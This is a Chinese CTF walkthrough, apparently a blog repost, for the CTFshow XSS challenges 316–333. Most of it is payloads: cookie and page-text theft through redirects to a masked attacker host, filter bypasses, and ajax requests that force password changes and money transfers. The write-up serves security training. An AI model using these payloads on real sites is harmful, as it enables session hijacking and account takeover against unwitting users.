[WP/CTFshow]XSS Web316-333
CTFSHOW WP
题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS
316.需要配套接收端XSS脚本
如果未过滤script且对外部资源加载无限制的情况下,可以指定src
为精心准备的JS文件,使其加载,产生携带COOKIE的请求。
本解法直接将产生请求写在了表层。
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxxx/x.php?1='+document.cookie</script>
317、318、319
<body onload="document.location.href='http://xxxxxxxxxxxxxxxxx/x.php?1='+document.cookie"></body>
320、321、322、323、324、325、326
空格过滤
可用tab
,/**/
等绕过
实测iframe,script,blog被过滤
<body/**/οnlοad="document.location.href='http://xxxxxxxxxxxx/x.php?1='+document.cookie"></body>
<body/οnlοad="document.location.href='http://xxxxxxxxxxxxx/x.php?1='+document.cookie"></body>
327
收件人admin
328、329、330
329会在访问后注销COOKIE
思路一
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x2.php?1='+document.cookie;</script>
XSS获取到管理员COOKIE,PHP令牌
1.在存储中修改COOKIE(),直接读取数据(前提是无转跳,或调试器暂停,麻烦)。
2.使用BURP修改字段,获取数据包。
GET /api/?page=1&limit=10 HTTP/1.1
Host: 132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080/manager.php
Cookie: PHPSESSID=0ifvs3fbmklc4fpg6shrpr7qal
TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。
思路二
将页面指定部分直接发送到XSS平台
经分析,flag大概率在document.body.innerText
,且数据量不大
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fKO7KrXj-1626010948636)(XSS详细教程/QQ截图20210707093956.png)]
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.innerText;</script>
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.textContent;</script>
<script>document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent</script>// 329
<script>$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>// 定义sleep函数,转跳,睡眠,接口通信,然而由于机器人不用浏览器未实现,如果是真人则可行
<script>function sleep(numberMillis) {var now = new Date();var exitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > exitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>
TIP:经查阅资料,HTTP协议并未对GET方法的URL传参长度进行限制,不过数据量过大可能被捕获或通信变慢(Dos了就不好了)。
330、331
改密码
<script>document.location.href='/api/change.php?p=123456'</script>
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>
332、333
改密码(出问题)
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>
对方转账
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'admin2',a:'9999'}});</script>
[WP/CTFshow]XSS Web316-333相关推荐
- ctfshow XSS web316~web333
web316 反射性 XSS 题目提示我们要以 admin 获取 奇葩的是用网上的 xss 平台,获取的 cookie 全是自己的. 可以在自己的服务器上,创建一个接收 cookie 的 PHP 文件 ...
- ctfshow XSS漏洞web316-328
XSS漏洞 漏洞简介: XSS(Cross Site Scripting)意为跨站脚本攻击.为了不与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写 ...
- ctfshow XSS web316-web333 wp
可能写的有点啰嗦,记录自己做题的过程 文章目录 web316 web317 web318 web319 web320 web321 web322 web323 web324 web325 web326 ...
- [CTFSHOW]XSS入门(佛系记录)
文章目录 前言 web316 web317-319 前面某些题梭哈 web320 web321 web322-324过滤了; web325过滤了. 前面那个String.fromCharCode生产p ...
- ctfshow XSS
收集一下可用的姿势吧, window.open:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口. location.href="/url" 当前页面打开URL页 ...
- [WP/ctfshow/XXE]ctfshow_XXE_web373-378
外部实体注入 WEB373 // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_co ...
- CTFshow月饼杯(第二届) 中秋快乐 部分wp
苟,都可以苟 只要我osint做的够快我就不会被刷掉.jpg 体验很好,下次还来( 注:tao2更新 目录 1.web web签到 2.crypto 我的木头啊!!! 一封信 3.misc proje ...
- ctfshow web入门 sql注入
无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...
- 一次日歪了的渗透测试
作者:贝米少年 一次日歪了的渗透测试 目标站: 某微信小程序diy平台 https://scan.dyboy.cn/web/webside tscan 找到一个thinkphp的站 想办法报个错看看版 ...
最新文章
- C#的反射机制调用方法
- rc.local自启动学习
- 【算法分析与设计】基数排序
- 创建触发器,将数据库中表的修改记录进日志表
- 小白vue_web前端开发:新手学习前端应该先学vue还是react?
- seleuium 禁止检测_如何突破网站对selenium的屏蔽
- 《田野里的自然历史课》首发 科普中华农耕文明
- 区分.net、c#、asp.net三者间的关系
- 全网首发:FFMpeg使用NVIDIA DECODER,解码后的数据转换为YUV420P
- 世园会开幕式上的机器人_小胖机器人驻扎“2019北京世园会”媒体分会场
- python基础编码规范_Python语言的基本语法和编码规范.ppt
- numpy的stack大白话解释
- 安卓手机测评_民宿预订Airbnb、途家民宿、小猪、木鸟短租、蚂蚁短租五大平台测评...
- 复选框的全选、全不选、和获取选中的值;
- 奇虎360:5年前赴美上市到今私有化退市,未来路在何方?
- 【洛谷 P7299】 【并查集】 Dance Mooves S
- 百度统计API的使用
- C++ 学习方法汇总
- C++和C语言的区别(六)——命名空间
- 计算机学院华北科技学院考研,2019年华北科技学院硕士研究生招生拟录取名单公示...
热门文章
- 【奇奇怪怪小知识】系统盘(C盘)持续发出“救救我”信号(C盘仅剩不足10G,爆红), 操作过后直接腾出近20G
- Mysql数据库简要介绍
- HTML、CSS中雪碧图的使用
- Spline算法实现
- 成功解决ImportError: cannot import name ‘spline‘ from ‘scipy.interpolate‘—利用make_interp_spline函数绘制平滑的曲线
- 二.MUI框架 开始体验MUI
- jQuery插件autoComplete介绍(10级学员 张帅鹏总结)
- 《STM32单片机开发应用教程(HAL库版)—基于国信长天嵌入式竞赛实训平台(CT117E-M4)》第四章4.9 TIM---输入捕获(脉冲频率测量)实验
- 在存储过程中的clob数据类型
- 湮没在赞誉之中,科学史上鲜为人知的五大“败笔”